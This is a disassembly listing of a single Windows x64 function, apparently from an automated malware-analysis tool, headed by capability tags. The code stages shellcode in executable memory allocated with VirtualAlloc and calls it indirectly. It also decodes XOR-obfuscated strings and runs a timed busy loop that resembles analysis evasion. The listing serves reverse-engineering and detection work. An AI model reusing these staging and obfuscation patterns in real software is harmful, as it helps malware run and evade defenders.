Function at 0x14023f190
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x62f0
call fcn.14027e170
sub rsp, rax
movaps xmmword [rsp + 0x62e0], xmm6
movaps xmmword [rsp + 0x62d0], xmm7
movaps xmmword [rsp + 0x62c0], xmm8
movaps xmmword [rsp + 0x62b0], xmm9
movaps xmmword [rsp + 0x62a0], xmm10
movaps xmmword [rsp + 0x6290], xmm11
movaps xmmword [rsp + 0x6280], xmm12
movaps xmmword [rsp + 0x6270], xmm13
mov rax, qword [0x1402bd028]
xor rax, rsp
mov qword [rsp + 0x6260], rax
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb0], xmm0
lea r15, [rsp + 0x6308]
movabs r13, 0xff00ff00ff00ff00
mov qword [rsp + 0xdb8], r13
mov qword [rsp + 0xdc0], r15
mov r12, qword [r15]
xor r12, r13
mov qword [rsp + 0xdb0], r12
mov qword [r15], rsi
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x270], 0x4e20
movups xmmword [rsp + 0xd40], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xd40], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c13f0]
lea r14, [0x140000000]
test rax, rax
je 0x14023f2d9
mov edx, esi
lea r8, [0x14025b2e0]
cmp rax, r8
je 0x14023f2c8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x14023f2b0
jmp 0x14023f2d9
mov r8, qword [r14 + rdx*8 + 0x2c39f0]
test r8, r8
jne 0x14023f3c6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023f300
mov r8, rsi
jmp 0x14023f39e
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023f310
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [r14 + rax*8 + 0x2c13f0], rcx
mov qword [r14 + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0x270]
mov rcx, rbx
call r8
nop
xor rdi, r13
mov qword [rsp + 0xd40], rdi
lea rax, [rsp + 0x6308]
mov qword [rax], rdi
mov r8, 0xffffffffffffffff
cmp byte [0x1402bfe51], 0
je 0x14023f485
mov eax, dword [str.86___M]
mov dword [rsp + 0x110], eax
movzx ecx, word [0x1402a9b90]
mov word [rsp + 0x114], cx
movzx eax, byte [0x1402a9b92]
mov byte [rsp + 0x110], 0x79
xor byte [rsp + 0x111], 0x43
xor byte [rsp + 0x112], 0x45
xor byte [rsp + 0x113], 0x47
xor cl, 0x49
mov byte [rsp + 0x114], cl
xor byte [rsp + 0x115], 0x4b
xor al, 0x4d
mov byte [rsp + 0x116], al
lea rax, [rsp + 0x110]
inc r8
cmp byte [rax + r8], 0
jne 0x14023f465
lea rdx, [rsp + 0x110]
lea rcx, [0x1402bdaa0]
call fcn.1402594a0
jmp 0x14023f4fe
mov eax, dword [0x1402aa454]
mov dword [rsp + 0xc8], eax
movzx eax, word [0x1402aa458]
mov word [rsp + 0xcc], ax
mov byte [rsp + 0xc8], 0x75
xor byte [rsp + 0xc9], 0x43
xor byte [rsp + 0xca], 0x45
xor byte [rsp + 0xcb], 0x47
xor al, 0x49
mov byte [rsp + 0xcc], al
xor byte [rsp + 0xcd], 0x4b
lea rax, [rsp + 0xc8]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14023f4e0
lea rdx, [rsp + 0xc8]
lea rcx, [0x1402bdaa0]
call fcn.1402594a0
lea rdx, [0x1402bdaa0]
lea rcx, [rsp + 0xc70]
call fcn.1402578e0
mov rdx, rax
lea rcx, [rsp + 0xcf0]
call fcn.140230a70
nop
lea rdx, [rsp + 0xcf0]
cmp qword [rsp + 0xd08], 0x10
cmovae rdx, qword [rsp + 0xcf0]
mov r8, qword [rsp + 0xd00]
lea rcx, [0x1402bda40]
call fcn.1402594a0
mov ebx, esi
lea r8, [rsp + 0xcf0]
cmp qword [rsp + 0xd08], 0x10
cmovae r8, qword [rsp + 0xcf0]
lea rcx, [rsp + 0xcf0]
cmovae rcx, qword [rsp + 0xcf0]
mov rdx, qword [rsp + 0xd00]
add rdx, rcx
cmp r8, rdx
je 0x14023f5a4
nop
lea eax, [rbx + 1]
cmp byte [r8], 0x7c
cmovne eax, ebx
mov ebx, eax
inc r8
cmp r8, rdx
jne 0x14023f590
movsd xmm0, qword [str._b_____8__my_]
movsd qword [rsp + 0x260], xmm0
mov eax, dword [0x1402ab248]
mov dword [rsp + 0x268], eax
movzx eax, word [0x1402ab24c]
mov word [rsp + 0x26c], ax
cmp byte [0x1402ab24d], 0
je 0x14023f847
mov r9d, esi
cmp dword [0x1402bd008], 2
jl 0x14023f7d3
movdqa xmm6, xmmword [0x1402ad190]
mov edi, 6
movd xmm8, edi
movdqa xmm7, xmmword [0x1402ad180]
mov edi, 0x1f
movd xmm10, edi
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm10
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, dword [str._b_____8__my_]
pxor xmm3, xmm0
movd dword [rsp + 0x260], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm10
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, dword [rsp + 0x264]
pxor xmm3, xmm0
movd dword [rsp + 0x264], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x260]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14023f7f0
lea rdx, [rsp + 0x260]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [rsp + 0xcf0]
cmp qword [rsp + 0xd08], 0x10
cmovae rdx, qword [rsp + 0xcf0]
mov r8, qword [rsp + 0xd00]
mov rcx, rax
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 6
jl 0x14024b0b8
cmp qword [rsp + 0xd00], 0x14
jb 0x14024b0b8
xorps xmm0, xmm0
movups xmmword [rsp + 0xd70], xmm0
mov qword [rsp + 0xd80], rsi
mov qword [rsp + 0xd88], 0xf
mov byte [rsp + 0xd70], 0
movups xmmword [rsp + 0xde8], xmm0
mov qword [rsp + 0xdf8], rsi
mov qword [rsp + 0xe00], 0xf
mov byte [rsp + 0xde8], 0
movups xmmword [rsp + 0xdc8], xmm0
mov qword [rsp + 0xdd8], rsi
mov qword [rsp + 0xde0], 0xf
mov byte [rsp + 0xdc8], 0
movups xmmword [rsp + 0xe08], xmm0
mov qword [rsp + 0xe18], rsi
mov qword [rsp + 0xe20], 0xf
mov byte [rsp + 0xe08], 0
movups xmmword [rsp + 0x10e0], xmm0
movdqa xmm1, xmmword [0x1402ad090]
movdqu xmmword [rsp + 0x10f0], xmm1
mov byte [rsp + 0x10e0], 0
movups xmmword [rsp + 0xe48], xmm0
mov qword [rsp + 0xe58], rsi
mov qword [rsp + 0xe60], 0xf
mov byte [rsp + 0xe48], 0
movups xmmword [rsp + 0xe28], xmm0
mov qword [rsp + 0xe38], rsi
mov qword [rsp + 0xe40], 0xf
mov byte [rsp + 0xe28], 0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x27a4], 0xffffffff
mov dword [rsp + 0x1424], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1424], eax
inc rdx
cmp rdx, 0x270
jb 0x14023f9d0
mov dword [rsp + 0x1420], 0x270
mov dword [rsp + 0x70], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14023fa1f
imul rax, rax, 0x64
jmp 0x14023fa3a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x230], rdi
mov r15d, 0x80000000
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14023fa6e
imul rax, rax, 0x64
jmp 0x14023fa89
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x14023fc6c
mov r12d, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023fadb
nop dword [rax + rax]
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023fac0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
mov eax, 1
cmove ebx, eax
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14023fb3e
cmp eax, 0x64
jae 0x14023fb3e
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023fb23
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x70]
add edx, eax
mov dword [rsp + 0x70], edx
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14023fbab
cmp eax, 0x64
jae 0x14023fbab
nop word [rax + rax]
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023fb90
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x70]
imul edx, eax
mov dword [rsp + 0x70], edx
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14023fc1b
cmp eax, 0x64
jae 0x14023fc1b
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x1420]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023fc00
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x70]
sub eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv edi
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv edi
mov dword [rsp + 0x70], edx
sub r12, 1
jne 0x14023faa0
mov rdi, qword [rsp + 0x230]
jmp 0x14023fa50
mov eax, dword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1100], xmm0
movdqa xmm1, xmmword [0x1402ad090]
movdqu xmmword [rsp + 0x1110], xmm1
mov byte [rsp + 0x1100], 0
movups xmmword [rsp + 0x1060], xmm0
movdqu xmmword [rsp + 0x1070], xmm1
mov byte [rsp + 0x1060], 0
movups xmmword [rsp + 0xd20], xmm0
mov qword [rsp + 0xd30], rsi
mov qword [rsp + 0xd38], 0xf
mov byte [rsp + 0xd20], 0
movups xmmword [rsp + 0x1080], xmm0
movdqu xmmword [rsp + 0x1090], xmm1
mov byte [rsp + 0x1080], 0
movups xmmword [rsp + 0xcd0], xmm0
mov qword [rsp + 0xce0], rsi
mov qword [rsp + 0xce8], 0xf
mov byte [rsp + 0xcd0], 0
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1080]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1060]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1100]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xe48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xe08]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xdc8]
lea r8, [rsp + 0xde8]
lea rdx, [rsp + 0xd70]
lea rcx, [rsp + 0xcf0]
call fcn.14020b010
mov eax, dword [0x1402aa558]
mov dword [rsp + 0x118], eax
movzx ecx, word [0x1402aa55c]
mov word [rsp + 0x11c], cx
movzx eax, byte [0x1402aa55e]
mov byte [rsp + 0x118], 0x4e
xor byte [rsp + 0x119], 0x43
xor byte [rsp + 0x11a], 0x45
xor byte [rsp + 0x11b], 0x47
xor cl, 0x49
mov byte [rsp + 0x11c], cl
xor byte [rsp + 0x11d], 0x4b
xor al, 0x4d
mov byte [rsp + 0x11e], al
lea rcx, [rsp + 0x118]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14023fe15
lea rdi, [0x1402c0260]
mov rcx, rdi
cmp qword [0x1402c0278], 0x10
cmovae rcx, qword [0x1402c0260]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x118]
xor r8d, r8d
mov rdx, qword [0x1402c0270]
call fcn.14025c7e0
mov r12, qword [rsp + 0xcd0]
mov rbx, qword [rsp + 0xce0]
cmp rax, 0xffffffffffffffff
je 0x1402458ac
lea rcx, [rsp + 0xcd0]
cmp qword [rsp + 0xce8], 0x10
cmovae rcx, r12
cmp rbx, 1
jne 0x14023fea0
mov r8, rbx
lea rdx, [0x1402a8170]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1402458ac
lea rdi, [fcn.140202680]
mov eax, dword [0x1402aa558]
mov dword [rsp + 0x188], eax
movzx ecx, word [0x1402aa55c]
mov word [rsp + 0x18c], cx
movzx eax, byte [0x1402aa55e]
mov byte [rsp + 0x188], 0x4e
xor byte [rsp + 0x189], 0x43
xor byte [rsp + 0x18a], 0x45
xor byte [rsp + 0x18b], 0x47
xor cl, 0x49
mov byte [rsp + 0x18c], cl
xor byte [rsp + 0x18d], 0x4b
xor al, 0x4d
mov byte [rsp + 0x18e], al
lea rax, [rsp + 0x188]
mov qword [rsp + 0x4f0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf98], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xfa0], r13
mov qword [rsp + 0xfa8], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xf98], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c1d70]
lea r12, [0x14025b2b0]
test rax, rax
je 0x14023ff8a
mov rdx, rsi
cmp rax, r12
je 0x14023ff79
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x14023ff61
jmp 0x14023ff8a
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x14024006f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023ffb1
mov r8, rsi
jmp 0x14024004e
mov rax, r12
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023ffc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
mov qword [r14 + rax*8 + 0x2c1d70], r12
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x4f0]
mov rcx, rdi
call r8
nop
xor rbx, r13
mov qword [rsp + 0xf98], rbx
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
movsd xmm0, qword [str._a6_]
movsd qword [rsp + 0x1f0], xmm0
mov eax, dword [0x1402aad08]
mov dword [rsp + 0x1f8], eax
cmp byte [0x1402aad0b], 0
je 0x140240327
mov r9d, esi
cmp dword [0x1402bd008], 2
jl 0x1402402bf
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str._a6_]
pxor xmm3, xmm0
movd dword [rsp + 0x1f0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1f4]
pxor xmm3, xmm1
movd dword [rsp + 0x1f4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1f0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x1402402d0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe98], xmm0
mov qword [rsp + 0xea8], rsi
mov qword [rsp + 0xeb0], rsi
lea rax, [rsp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140240351
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xe98]
call fcn.14021d330
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov r12, rax
lea rbx, [rsp + 0xcd0]
cmp qword [rsp + 0xce8], 0x10
cmovae rbx, qword [rsp + 0xcd0]
mov dword [rax], esi
mov r8d, 0xa
lea rdx, [rsp + 0xcc8]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rsp + 0xcc8]
jne 0x1402403c4
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
cmp dword [r12], 0x22
jne 0x1402403d8
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
cmp eax, 0x28
jl 0x140240447
lea rcx, [rsp + 0xcd0]
call fcn.140203200
cmp eax, 0x64
jg 0x140240447
lea rcx, [rsp + 0xcd0]
call fcn.140203200
add eax, 0xffffffd8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x1402ad040]
addsd xmm0, qword [0x1402ad048]
cvttsd2si edx, xmm0
lea rcx, [rsp + 0xc50]
call fcn.140203290
mov rdx, rax
lea rcx, [rsp + 0xcd0]
call fcn.140257710
lea rcx, [rsp + 0xc50]
call fcn.140259200
jmp 0x14024048c
movzx eax, word [0x1402aa0c8]
mov word [rsp + 0x160], ax
movzx eax, byte [0x1402aa0ca]
mov byte [rsp + 0x160], 0x32
xor byte [rsp + 0x161], 0x43
xor al, 0x45
mov byte [rsp + 0x162], al
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0xcd0]
call fcn.1402576c0
nop
jmp 0x1402404ae
mov ebx, 1
movzx eax, word [0x1402aa2dc]
mov word [rsp + 0x84], ax
cmp byte [0x1402aa2dd], 0
je 0x1402404db
mov byte [rsp + 0x84], 0x3a
xor byte [rsp + 0x85], 0x43
lea rax, [rsp + 0x84]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402404f0
movabs r12, 0x7fffffffffffffff
mov rax, r12
mov rdx, qword [rsp + 0xdd8]
sub rax, rdx
cmp rax, rcx
jb 0x14024b560
lea r9, [rsp + 0xdc8]
cmp qword [rsp + 0xde0], 0x10
cmovae r9, qword [rsp + 0xdc8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x84]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xad0]
call fcn.14025e2d0
nop
lea rdx, [rsp + 0xe08]
